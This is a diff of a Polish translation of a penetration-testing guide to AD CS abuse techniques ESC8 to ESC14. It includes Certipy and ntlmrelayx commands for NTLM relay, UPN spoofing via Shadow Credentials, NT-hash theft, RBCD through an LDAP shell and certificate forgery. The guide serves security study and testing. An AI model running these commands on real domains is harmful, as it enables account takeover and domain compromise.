 
-Żądanie certyfikatu jest domyślnie wykonywane przez Certipy na podstawie szablonu `Machine` lub `User`, w zależności od tego, czy nazwa konta będąca relayed kończy się na `$`. Wskazanie innego szablonu można zrealizować przy użyciu parametru `-template`.
+Żądanie certyfikatu jest domyślnie wysyłane przez Certipy na podstawie szablonu `Machine` lub `User`; wybór zależy od tego, czy nazwa konta będącego przekazywana kończy się znakiem `$`. Specyfikacja alternatywnego szablonu może zostać osiągnięta za pomocą parametru `-template`.
 
-Technikę taką jak [PetitPotam](https://github.com/ly4k/PetitPotam) można wtedy wykorzystać do wymuszenia uwierzytelnienia. W przypadku kontrolerów domeny wymagane jest użycie `-template DomainController`.
+Technikę taką jak [PetitPotam](https://github.com/ly4k/PetitPotam) można następnie zastosować, aby wymusić uwierzytelnienie. W przypadku kontrolerów domeny wymagane jest określenie `-template DomainController`.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -456,44 +454,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-## Brak rozszerzenia bezpieczeństwa - ESC9 <a href="#id-5485" id="id-5485"></a>
+## Brak rozszerzenia zabezpieczeń - ESC9 <a href="#id-5485" id="id-5485"></a>
 
 ### Wyjaśnienie
 
-Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, nazywana ESC9, uniemożliwia osadzenie **nowego rozszerzenia bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (ustawienie domyślne), w przeciwieństwie do ustawienia `2`. Jej znaczenie wzrasta w scenariuszach, w których można by wykorzystać słabsze mapowanie certyfikatu dla Kerberos lub Schannel (jak w ESC10), ponieważ brak ESC9 nie zmieniałby wymagań.
+Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, nazywana ESC9, uniemożliwia osadzenie **nowego rozszerzenia bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`** w certyfikacie. Ta flaga staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (ustawienie domyślne), w przeciwieństwie do ustawienia `2`. Jej znaczenie wzrasta w scenariuszach, w których można wykorzystać słabsze mapowanie certyfikatu dla Kerberos lub Schannel (jak w ESC10), ponieważ brak ESC9 nie zmieniałby wymagań.
 
 Warunki, w których ustawienie tej flagi staje się istotne, obejmują:
 
 - `StrongCertificateBindingEnforcement` nie jest ustawione na `2` (domyślnie `1`), lub `CertificateMappingMethods` zawiera flagę `UPN`.
 - Certyfikat jest oznaczony flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
-- Certyfikat określa dowolne EKU do uwierzytelniania klienta.
-- Dostępne są uprawnienia `GenericWrite` do dowolnego konta, umożliwiające skompromitowanie innego.
+- W certyfikacie określono dowolne EKU do uwierzytelniania klienta.
+- Dostępne są uprawnienia `GenericWrite` nad dowolnym kontem pozwalające na skompromitowanie innego.
 
 ### Scenariusz nadużycia
 
-Załóżmy, że `John@corp.local` ma uprawnienia `GenericWrite` nad `Jane@corp.local`, z celem skompromitowania `Administrator@corp.local`. Szablon certyfikatu `ESC9`, w którym `Jane@corp.local` ma prawo się zarejestrować, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
+Załóżmy, że `John@corp.local` ma uprawnienia `GenericWrite` do `Jane@corp.local`, a celem jest skompromitowanie `Administrator@corp.local`. Szablon certyfikatu `ESC9`, do którego `Jane@corp.local` ma prawo się zapisać, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w ustawieniu `msPKI-Enrollment-Flag`.
 
-Początkowo hash `Jane` zostaje pozyskany przy użyciu Shadow Credentials, dzięki uprawnieniom `GenericWrite` Johna:
+Początkowo hash `Jane` zostaje pozyskany przy użyciu Shadow Credentials, dzięki uprawnieniom `GenericWrite` `John@corp.local`:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Następnie `userPrincipalName` użytkownika `Jane` zostaje zmieniony na `Administrator`, celowo pomijając część domenową `@corp.local`:
+Następnie wartość `userPrincipalName` użytkownika `Jane` zostaje zmodyfikowana na `Administrator`, celowo pomijając część domenową `@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` użytkownika `Administrator`.
+Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` konta `Administrator`.
 
-Następnie szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany przez `Jane`:
+Następnie żądany jest szablon certyfikatu `ESC9`, oznaczony jako podatny, jako `Jane`:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
-Zauważono, że `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony jakiegokolwiek „object SID”.
+Zauważono, że `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony jakiegokolwiek “object SID”.
 
-Następnie `userPrincipalName` użytkowniczki `Jane` zostaje przywrócone do jej pierwotnego `Jane@corp.local`:
+`userPrincipalName` użytkowniczki `Jane` zostaje następnie przywrócone do jej oryginalnego `Jane@corp.local`:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Próba uwierzytelnienia przy użyciu wydanego certyfikatu teraz zwraca hash NT użytkownika `Administrator@corp.local`. Polecenie musi zawierać `-domain <domain>` z powodu braku określenia domeny w certyfikacie:
+Próba uwierzytelnienia przy użyciu wystawionego certyfikatu teraz zwraca hash NT użytkownika `Administrator@corp.local`. Polecenie musi zawierać `-domain <domain>` z powodu braku specyfikacji domeny w certyfikacie:
 ```bash
 certipy auth -pfx adminitrator.pfx -domain corp.local
 ```
@@ -501,82 +499,82 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
 
 ### Wyjaśnienie
 
-ESC10 odnosi się do dwóch wartości kluczy rejestru na kontrolerze domeny:
+Do ESC10 odnoszą się dwie wartości kluczy rejestru na kontrolerze domeny:
 
-- Domyślna wartość dla `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` to `0x18` (`0x8 | 0x10`), wcześniej ustawiona na `0x1F`.
-- Domyślne ustawienie dla `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` to `1`, wcześniej `0`.
+- Domyślna wartość dla `CertificateMappingMethods` w kluczu `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` to `0x18` (`0x8 | 0x10`), wcześniej ustawiona na `0x1F`.
+- Domyślne ustawienie dla `StrongCertificateBindingEnforcement` w `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` to `1`, wcześniej `0`.
 
-### Przypadek 1
+**Przypadek 1**
 
-Gdy `StrongCertificateBindingEnforcement` jest skonfigurowany jako `0`.
+Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`.
 
-### Przypadek 2
+**Przypadek 2**
 
 Jeśli `CertificateMappingMethods` zawiera bit `UPN` (`0x4`).
 
 ### Przypadek nadużycia 1
 
-Gdy `StrongCertificateBindingEnforcement` jest ustawiony na `0`, konto A z uprawnieniami `GenericWrite` może zostać wykorzystane do przejęcia dowolnego konta B.
+Gdy `StrongCertificateBindingEnforcement` jest ustawione na `0`, konto A z uprawnieniami `GenericWrite` może zostać wykorzystane do przejęcia dowolnego konta B.
 
-Na przykład mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący dąży do przejęcia `Administrator@corp.local`. Procedura jest analogiczna do ESC9, umożliwiając użycie dowolnego szablonu certyfikatu.
+Na przykład mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący chce przejąć `Administrator@corp.local`. Procedura jest analogiczna do ESC9 i pozwala wykorzystać dowolny szablon certyfikatu.
 
 Na początku hash `Jane` jest pozyskiwany przy użyciu Shadow Credentials, wykorzystując `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
-Następnie wartość `userPrincipalName` użytkownika `Jane` zostaje zmieniona na `Administrator`, celowo pomijając część `@corp.local`, aby uniknąć naruszenia ograniczenia.
+Następnie wartość `userPrincipalName` użytkownika `Jane` została zmieniona na `Administrator`, celowo pomijając część `@corp.local`, aby uniknąć naruszenia ograniczeń.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Następnie jako `Jane` zostaje wystąpione o certyfikat umożliwiający uwierzytelnianie klienta, korzystając z domyślnego szablonu `User`.
+Następnie żądany jest certyfikat umożliwiający uwierzytelnianie klienta w imieniu `Jane`, używając domyślnego szablonu `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-Następnie wartość `userPrincipalName` użytkownika `Jane` zostaje przywrócona do pierwotnej: `Jane@corp.local`.
+Następnie `userPrincipalName` użytkownika `Jane` zostaje przywrócony do pierwotnej wartości, `Jane@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Uwierzytelnienie uzyskanym certyfikatem zwróci NT hash `Administrator@corp.local`, dlatego w poleceniu trzeba określić domenę, ponieważ certyfikat nie zawiera informacji o domenie.
+Uwierzytelnienie za pomocą uzyskanego certyfikatu spowoduje uzyskanie NT hasha konta `Administrator@corp.local`, dlatego w poleceniu trzeba określić domenę, ponieważ certyfikat nie zawiera informacji o domenie.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
-### Scenariusz nadużycia 2
+### Abuse Case 2
 
-Jeśli `CertificateMappingMethods` zawiera flagę bitową `UPN` (`0x4`), konto A z uprawnieniami `GenericWrite` może przejąć dowolne konto B nieposiadające właściwości `userPrincipalName`, w tym konta maszynowe oraz wbudowane konto administratora domeny `Administrator`.
+Gdy `CertificateMappingMethods` zawiera flagę bitową `UPN` (`0x4`), konto A posiadające uprawnienia `GenericWrite` może przejąć dowolne konto B, które nie ma właściwości `userPrincipalName`, w tym konta maszynowe oraz wbudowane konto administratora domeny `Administrator`.
 
 Tutaj celem jest przejęcie `DC$@corp.local`, zaczynając od uzyskania hasha `Jane` przez Shadow Credentials, wykorzystując `GenericWrite`.
 ```bash
 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```
-`userPrincipalName` użytkowniczki `Jane` jest wtedy ustawiony na `DC$@corp.local`.
+`userPrincipalName` użytkownika `Jane` jest następnie ustawiony na `DC$@corp.local`.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
 ```
-Wystąpiono o certyfikat do uwierzytelniania klienta jako `Jane`, używając domyślnego szablonu `User`.
+Zażądano certyfikatu do uwierzytelniania klienta jako `Jane` przy użyciu domyślnego szablonu `User`.
 ```bash
 certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
 ```
-`userPrincipalName` użytkownika `Jane` zostaje przywrócony do pierwotnej wartości po tym procesie.
+Wartość `userPrincipalName` użytkownika `Jane` zostaje przywrócona do pierwotnej po tym procesie.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
 ```
-Do uwierzytelnienia przez Schannel użyto opcji `-ldap-shell` w Certipy, co wskazuje powodzenie uwierzytelnienia jako `u:CORP\DC$`.
+Aby uwierzytelnić się przez Schannel, użyto opcji `-ldap-shell` Certipy, co wskazuje pomyślne uwierzytelnienie jako `u:CORP\DC$`.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Za pośrednictwem powłoki LDAP polecenia takie jak `set_rbcd` umożliwiają ataki Resource-Based Constrained Delegation (RBCD), potencjalnie kompromitując kontroler domeny.
+Za pomocą LDAP shell polecenia takie jak `set_rbcd` umożliwiają ataki Resource-Based Constrained Delegation (RBCD), potencjalnie kompromitując domain controller.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Ta luka dotyczy również każdego konta użytkownika, które nie ma ustawionego `userPrincipalName` lub którego `userPrincipalName` nie odpowiada `sAMAccountName`. Domyślne konto `Administrator@corp.local` jest szczególnie atrakcyjnym celem ze względu na podwyższone uprawnienia LDAP i domyślny brak `userPrincipalName`.
+Ta podatność dotyczy także każdego konta użytkownika, które nie ma ustawionego `userPrincipalName` lub gdzie wartość ta nie odpowiada `sAMAccountName`. Domyślne konto `Administrator@corp.local` jest szczególnie atrakcyjnym celem ze względu na swoje podwyższone uprawnienia LDAP oraz fakt, że domyślnie nie ma ustawionego `userPrincipalName`.
 
 ## Relaying NTLM to ICPR - ESC11
 
 ### Wyjaśnienie
 
-Jeśli CA Server nie jest skonfigurowany z `IF_ENFORCEENCRYPTICERTREQUEST`, umożliwia to przeprowadzenie ataków relay NTLM bez podpisywania za pośrednictwem usługi RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
+Jeśli CA Server nie jest skonfigurowany z `IF_ENFORCEENCRYPTICERTREQUEST`, umożliwia to przeprowadzenie NTLM relay attacks bez podpisywania za pośrednictwem usługi RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
 
-Możesz użyć `certipy`, aby sprawdzić, czy `Enforce Encryption for Requests` jest Disabled; certipy pokaże wtedy podatności `ESC11`.
+Możesz użyć `certipy`, aby sprawdzić, czy `Enforce Encryption for Requests` jest Disabled; certipy pokaże wtedy `ESC11` Vulnerabilities.
 ```bash
 $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -595,7 +593,7 @@ ESC11                             : Encryption is not enforced for ICPR requests
 ```
 ### Scenariusz nadużycia
 
-Konieczne jest skonfigurowanie serwera przekaźnikowego:
+Należy skonfigurować relay server:
 ```bash
 $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
 Certipy v4.7.0 - by Oliver Lyak (ly4k)
@@ -614,7 +612,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-Uwaga: Dla kontrolerów domeny musimy określić `-template` w DomainController.
+Uwaga: dla kontrolerów domeny należy określić `-template` w DomainController.
 
 Lub używając [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
 ```bash
@@ -624,19 +622,19 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
 
 ### Wyjaśnienie
 
-Administratorzy mogą skonfigurować Certificate Authority tak, aby była przechowywana na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2".
+Administratorzy mogą skonfigurować Certificate Authority tak, aby przechowywał go na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2".
 
-Jeżeli urządzenie USB jest podłączone do serwera CA przez port USB, lub przez USB device server w przypadku, gdy serwer CA jest maszyną wirtualną, dla Key Storage Provider wymagany jest authentication key (czasami określany jako "password"), aby generować i wykorzystywać klucze w YubiHSM.
+Jeśli urządzenie USB jest podłączone do serwera CA przez port USB, lub przez USB device server w przypadku, gdy serwer CA jest maszyną wirtualną, Key Storage Provider potrzebuje klucza uwierzytelniającego (czasami określanego jako "password"), aby generować i używać kluczy na YubiHSM.
 
-Ten key/password jest przechowywany w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` w postaci jawnego tekstu.
+Ten klucz/password jest przechowywany w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` w postaci jawnej.
 
-Odniesienie w [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
+Odniesienie: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
 ### Scenariusz nadużycia
 
-Jeśli prywatny klucz CA jest przechowywany na fizycznym urządzeniu USB, to mając shell access możliwe jest odzyskanie klucza.
+Jeśli prywatny klucz CA jest przechowywany na fizycznym urządzeniu USB, a uzyskasz dostęp shell, możliwe jest odzyskanie tego klucza.
 
-Najpierw musisz uzyskać certyfikat CA (jest on publiczny) i następnie:
+Najpierw musisz uzyskać certyfikat CA (jest publiczny), a następnie:
 ```cmd
 # import it to the user store with CA certificate
 $ certutil -addstore -user my <CA certificate file>
@@ -644,15 +642,15 @@ $ certutil -addstore -user my <CA certificate file>
 # Associated with the private key in the YubiHSM2 device
 $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
 ```
-Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyfikat przy użyciu certyfikatu CA i jego klucza prywatnego.
+Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyfikat używając certyfikatu CA i jego klucza prywatnego.
 
 ## OID Group Link Abuse - ESC13
 
 ### Wyjaśnienie
 
-Atrybut `msPKI-Certificate-Policy` pozwala dodać politykę wydawania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za polityki wydawania, można odnaleźć w Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD za pomocą atrybutu tego obiektu `msDS-OIDToGroupLink`, co pozwala systemowi autoryzować użytkownika, który przedstawi certyfikat, tak jakby był członkiem tej grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+Atrybut `msPKI-Certificate-Policy` pozwala dodać politykę wydawania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, odpowiedzialne za wydawanie polityk, można odnaleźć w Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD przy użyciu atrybutu tego obiektu `msDS-OIDToGroupLink`, co pozwala systemowi autoryzować użytkownika, który przedstawi certyfikat, tak jakby był członkiem tej grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
-Innymi słowy, gdy użytkownik ma uprawnienie do enroll certyfikatu i certyfikat jest powiązany z grupą OID, użytkownik może odziedziczyć uprawnienia tej grupy.
+Innymi słowy, jeśli użytkownik ma uprawnienie do enrollowania certyfikatu, a certyfikat jest powiązany z grupą OID, użytkownik może odziedziczyć uprawnienia tej grupy.
 
 Użyj [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) aby znaleźć OIDToGroupLink:
 ```bash
@@ -678,47 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ```
 ### Scenariusz nadużycia
 
-Znajdź uprawnienie użytkownika — możesz użyć `certipy find` lub `Certify.exe find /showAllPermissions`.
+Znajdź uprawnienie użytkownika, którego można użyć za pomocą `certipy find` lub `Certify.exe find /showAllPermissions`.
 
-Jeżeli `John` ma uprawnienie do rejestracji `VulnerableTemplate`, użytkownik może odziedziczyć uprawnienia grupy `VulnerableGroup`.
+Jeśli `John` ma uprawnienie do enrollowania szablonu `VulnerableTemplate`, użytkownik może odziedziczyć uprawnienia grupy `VulnerableGroup`.
 
-Wystarczy, że określi szablon — otrzyma certyfikat z uprawnieniami OIDToGroupLink.
+Wystarczy, że wskaże szablon — otrzyma certyfikat z uprawnieniami OIDToGroupLink.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Niebezpieczna konfiguracja odnowienia certyfikatu - ESC14
+## Podatna konfiguracja odnowienia certyfikatu - ESC14
 
 ### Wyjaśnienie
 
-Opis pod adresem https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping jest niezwykle szczegółowy. Poniżej przytoczono oryginalny tekst.
+Opis pod adresem https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping jest wyjątkowo szczegółowy. Poniżej cytat oryginalnego tekstu.
 
-ESC14 dotyczy luk wynikających ze "słabego jawnego mapowania certyfikatów", głównie przez niewłaściwe wykorzystanie lub niebezpieczną konfigurację atrybutu `altSecurityIdentities` na kontach użytkowników lub komputerów w Active Directory. Ten atrybut wielowartościowy pozwala administratorom ręcznie powiązać certyfikaty X.509 z kontem AD do celów uwierzytelniania. Gdy jest wypełniony, te jawne mapowania mogą zastąpić domyślną logikę mapowania certyfikatów, która zwykle opiera się na UPN lub nazwach DNS w SAN certyfikatu, lub na SID osadzonym w rozszerzeniu bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`.
+ESC14 dotyczy podatności wynikających ze "słabego explicit certificate mapping", przede wszystkim przez niewłaściwe użycie lub niebezpieczną konfigurację atrybutu `altSecurityIdentities` na kontach użytkowników lub komputerów Active Directory. Ten wielowartościowy atrybut pozwala administratorom ręcznie powiązać certyfikaty X.509 z kontem AD w celu uwierzytelniania. Gdy jest wypełniony, te explicit mappings mogą nadpisać domyślną logikę mapowania certyfikatów, która zwykle opiera się na UPNach lub nazwach DNS w SAN certyfikatu, albo na SID osadzonym w rozszerzeniu bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`.
 
-"Ślabe" mapowanie występuje, gdy wartość tekstowa użyta w `altSecurityIdentities` do identyfikacji certyfikatu jest zbyt ogólna, łatwa do odgadnięcia, opiera się na nieunikalnych polach certyfikatu lub używa łatwych do podrobienia komponentów certyfikatu. Jeśli atakujący może uzyskać lub stworzyć certyfikat, którego atrybuty pasują do tak słabo zdefiniowanego jawnego mapowania dla uprzywilejowanego konta, może użyć tego certyfikatu do uwierzytelnienia się jako to konto i podszywania się pod nie.
+"Słabe" mapowanie występuje, gdy string używany w atrybucie `altSecurityIdentities` do identyfikacji certyfikatu jest zbyt szeroki, łatwy do odgadnięcia, opiera się na nieunikalnych polach certyfikatu lub wykorzystuje łatwo podszywalne komponenty certyfikatu. Jeśli atakujący może uzyskać lub stworzyć certyfikat, którego atrybuty pasują do tak słabo zdefiniowanego explicit mapping dla uprzywilejowanego konta, może użyć tego certyfikatu do uwierzytelnienia się jako oraz podszywania się pod to konto.
 
-Przykłady potencjalnie słabych ciągów mapowania w `altSecurityIdentities` obejmują:
+Przykłady potencjalnie słabych stringów mapujących w `altSecurityIdentities` obejmują:
 
-- Mapowanie wyłącznie po powszechnym Subject Common Name (CN): np. `X509:<S>CN=SomeUser`. Atakujący może być w stanie uzyskać certyfikat z takim CN z mniej bezpiecznego źródła.
-- Używanie zbyt ogólnych Issuer Distinguished Names (DN) lub Subject DNs bez dalszego kwalifikowania, np. konkretnego numeru seryjnego lub subject key identifier: np. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Stosowanie innych przewidywalnych wzorców lub niekryptograficznych identyfikatorów, które atakujący może być w stanie spełnić w certyfikacie, który może legalnie uzyskać lub sfałszować (jeśli przełamał CA lub znalazł podatny szablon, jak w ESC1).
+- Mapowanie wyłącznie po powszechnym polu Subject Common Name (CN): np. `X509:<S>CN=SomeUser`. Atakujący może być w stanie uzyskać certyfikat z takim CN z mniej bezpiecznego źródła.
+- Używanie nadmiernie ogólnych Issuer Distinguished Names (DNs) lub Subject DNs bez dalszej kwalifikacji, takiej jak konkretny numer seryjny lub subject key identifier: np. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Stosowanie innych przewidywalnych wzorców lub niekryptograficznych identyfikatorów, które atakujący mógłby spełnić w certyfikacie, który może legalnie uzyskać lub sfałszować (jeśli przejął CA lub znalazł podatny szablon jak w ESC1).
 
 Atrybut `altSecurityIdentities` obsługuje różne formaty mapowania, takie jak:
 
-- `X509:<I>IssuerDN<S>SubjectDN` (mapuje po pełnych DN wydawcy i DN podmiotu)
-- `X509:<SKI>SubjectKeyIdentifier` (mapuje po wartości rozszerzenia Subject Key Identifier certyfikatu)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (mapuje po numerze seryjnym, implicitnie kwalifikowanym przez Issuer DN) - to nie jest standardowy format, zwykle jest to `<I>IssuerDN<SR>SerialNumber`.
-- `X509:<RFC822>EmailAddress` (mapuje po nazwie RFC822, typowo adresie e-mail, z SAN)
-- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapuje po hashu SHA1 surowego klucza publicznego certyfikatu - generalnie silne)
+- `X509:<I>IssuerDN<S>SubjectDN` (mapowanie po pełnym Issuer i Subject DN)
+- `X509:<SKI>SubjectKeyIdentifier` (mapowanie po wartości rozszerzenia Subject Key Identifier certyfikatu)
+- `X509:<SR>SerialNumberBackedByIssuerDN` (mapowanie po numerze seryjnym, implicite kwalifikowanym przez Issuer DN) - to nie jest standardowy format, zwykle jest to `<I>IssuerDN<SR>SerialNumber`.
+- `X509:<RFC822>EmailAddress` (mapowanie po nazwie RFC822, typowo adresie e-mail, z SAN)
+- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapowanie po hashu SHA1 surowego klucza publicznego certyfikatu - generalnie mocne)
 
-Bezpieczeństwo tych mapowań w dużej mierze zależy od szczegółowości, unikalności i kryptograficznej siły wybranych identyfikatorów certyfikatu użytych w ciągu mapowania. Nawet przy włączonych silnych trybach wiązania certyfikatów na Domain Controllers (które głównie wpływają na mapowania implicit oparte na SAN UPNs/DNS i rozszerzeniu SID), źle skonfigurowany wpis `altSecurityIdentities` nadal może stanowić bezpośrednią drogę do podszywania się, jeśli sama logika mapowania jest wadliwa lub zbyt permisywna.
+Bezpieczeństwo tych mapowań w dużej mierze zależy od szczegółowości, unikalności i kryptograficznej siły wybranych identyfikatorów certyfikatu użytych w stringu mapującym. Nawet przy włączonych trybach silnego wiązania certyfikatów na Domain Controllers (które głównie wpływają na implicit mappings oparte na SAN UPNs/DNS i rozszerzeniu SID), źle skonfigurowany wpis `altSecurityIdentities` może nadal stanowić bezpośrednią drogę do podszywania się, jeśli sama logika mapowania jest wadliwa lub zbyt permissive.
 
 ### Scenariusz nadużycia
 
-ESC14 celuje w **jawne mapowania certyfikatów** w Active Directory (AD), konkretnie w atrybut `altSecurityIdentities`. Jeśli ten atrybut jest ustawiony (zgodnie z zamierzeniem lub przez błędną konfigurację), atakujący może podszyć się pod konta, przedstawiając certyfikaty, które pasują do mapowania.
+ESC14 celuje w explicit certificate mappings w Active Directory (AD), konkretnie w atrybut `altSecurityIdentities`. Jeśli ten atrybut jest ustawiony (z założenia lub przez błędną konfigurację), atakujący mogą podszywać się pod konta, prezentując certyfikaty, które pasują do mapowania.
 
 #### Scenariusz A: Atakujący może zapisać do `altSecurityIdentities`
 
-Precondycja: Atakujący ma uprawnienia zapisu do atrybutu `altSecurityIdentities` docelowego konta lub uprawnienie do jego nadania w postaci jednego z następujących uprawnień na docelowym obiekcie AD:
+**Precondycja**: Atakujący ma uprawnienia zapisu do atrybutu `altSecurityIdentities` docelowego konta lub ma uprawnienie do jego nadania w postaci jednego z następujących uprawnień na docelowym obiekcie AD:
 - Write property `altSecurityIdentities`
 - Write property `Public-Information`
 - Write property (all)
@@ -728,26 +726,26 @@ Precondycja: Atakujący ma uprawnienia zapisu do atrybutu `altSecurityIdentities
 - `GenericAll`
 - Owner*.
 
-#### Scenariusz B: Cel ma słabe mapowanie przez X509RFC822 (email)
+#### Scenariusz B: Cel ma słabe mapowanie przez X509RFC822 (Email)
 
-- Precondycja: Cel ma słabe mapowanie X509RFC822 w altSecurityIdentities. Atakujący może ustawić atrybut mail ofiary tak, aby pasował do nazwy X509RFC822 celu, uzyskać certyfikat jako ofiara i użyć go do uwierzytelnienia się jako cel.
+- **Precondycja**: Cel ma słabe mapowanie X509RFC822 w `altSecurityIdentities`. Atakujący może ustawić atrybut mail konta ofiary tak, aby odpowiadał X509RFC822 nazwy celu, zarejestrować certyfikat jako ofiara i użyć go, aby uwierzytelnić się jako cel.
 
 #### Scenariusz C: Cel ma mapowanie X509IssuerSubject
 
-- Precondycja: Cel ma słabe jawne mapowanie X509IssuerSubject w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na koncie ofiary, aby pasował do subject mapowania X509IssuerSubject celu. Następnie atakujący może uzyskać certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel.
+- **Precondycja**: Cel ma słabe explicit mapping X509IssuerSubject w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na koncie ofiary, aby pasował do subject mapowania X509IssuerSubject celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel.
 
 #### Scenariusz D: Cel ma mapowanie X509SubjectOnly
 
-- Precondycja: Cel ma słabe jawne mapowanie X509SubjectOnly w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na koncie ofiary, aby pasował do subject mapowania X509SubjectOnly celu. Następnie atakujący może uzyskać certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel.
